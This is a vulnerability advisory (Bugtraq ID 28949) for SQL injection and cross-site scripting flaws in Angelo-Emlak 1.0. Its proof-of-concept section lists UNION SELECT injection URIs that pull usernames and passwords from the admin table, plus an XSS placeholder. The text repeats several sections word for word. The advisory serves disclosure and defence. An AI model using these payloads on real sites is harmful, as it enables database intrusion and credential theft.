Angelo-Emlak Multiple SQL Injection and Cross-Site Scripting Vulnerabilities
BID:28949
Info
Angelo-Emlak Multiple SQL Injection and Cross-Site Scripting Vulnerabilities
| Bugtraq ID: | 28949 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-2047 |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 26 2008 12:00AM |
| Updated: | May 07 2015 05:29PM |
| Credit: | U238 |
| Vulnerable: |
Angelo-Emlak Angelo-Emlak 1.0 |
| Not Vulnerable: | |
Discussion
Angelo-Emlak Multiple SQL Injection and Cross-Site Scripting Vulnerabilities
Angelo-Emlak is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Attackers may also exploit these issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
These issues affect Angelo-Emlak 1.0; other versions may also be vulnerable.
Angelo-Emlak is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Attackers may also exploit these issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
These issues affect Angelo-Emlak 1.0; other versions may also be vulnerable.
Exploit / POC
Angelo-Emlak Multiple SQL Injection and Cross-Site Scripting Vulnerabilities
An attacker can exploit these issues through a browser. To exploit the cross-site scripting issue, the attacker must entice an unsuspecting user to follow a malicious URI.
The following example URIs are available:
http://www.example.com:2222/lab/angelo-emlak_v1.0/hpz/admin/Default.asp?sayfa=[XSS]
http://www.example.com:2222/lab/angelo-emlak_v1.0/hpz/profil.asp?id=1+union+select+0,1,2,3,(user),(pass),1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+admin+where+id=1
http://www.example.com:2222/lab/angelo-emlak_v1.0/hpz/prodetail.asp?id=1+union+select+user,0,2,3,4,5,6,7,8,9,null,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+admin
http://www.example.com:2222/lab/angelo-emlak_v1.0/hpz/prodetail.asp?id=1+union+select+pass,0,2,3,4,5,6,7,8,9,null,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+admin
An attacker can exploit these issues through a browser. To exploit the cross-site scripting issue, the attacker must entice an unsuspecting user to follow a malicious URI.
The following example URIs are available:
http://www.example.com:2222/lab/angelo-emlak_v1.0/hpz/admin/Default.asp?sayfa=[XSS]
http://www.example.com:2222/lab/angelo-emlak_v1.0/hpz/profil.asp?id=1+union+select+0,1,2,3,(user),(pass),1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+admin+where+id=1
http://www.example.com:2222/lab/angelo-emlak_v1.0/hpz/prodetail.asp?id=1+union+select+user,0,2,3,4,5,6,7,8,9,null,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+admin
http://www.example.com:2222/lab/angelo-emlak_v1.0/hpz/prodetail.asp?id=1+union+select+pass,0,2,3,4,5,6,7,8,9,null,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+admin
Solution / Fix
References
Angelo-Emlak Multiple SQL Injection and Cross-Site Scripting Vulnerabilities
References:
References: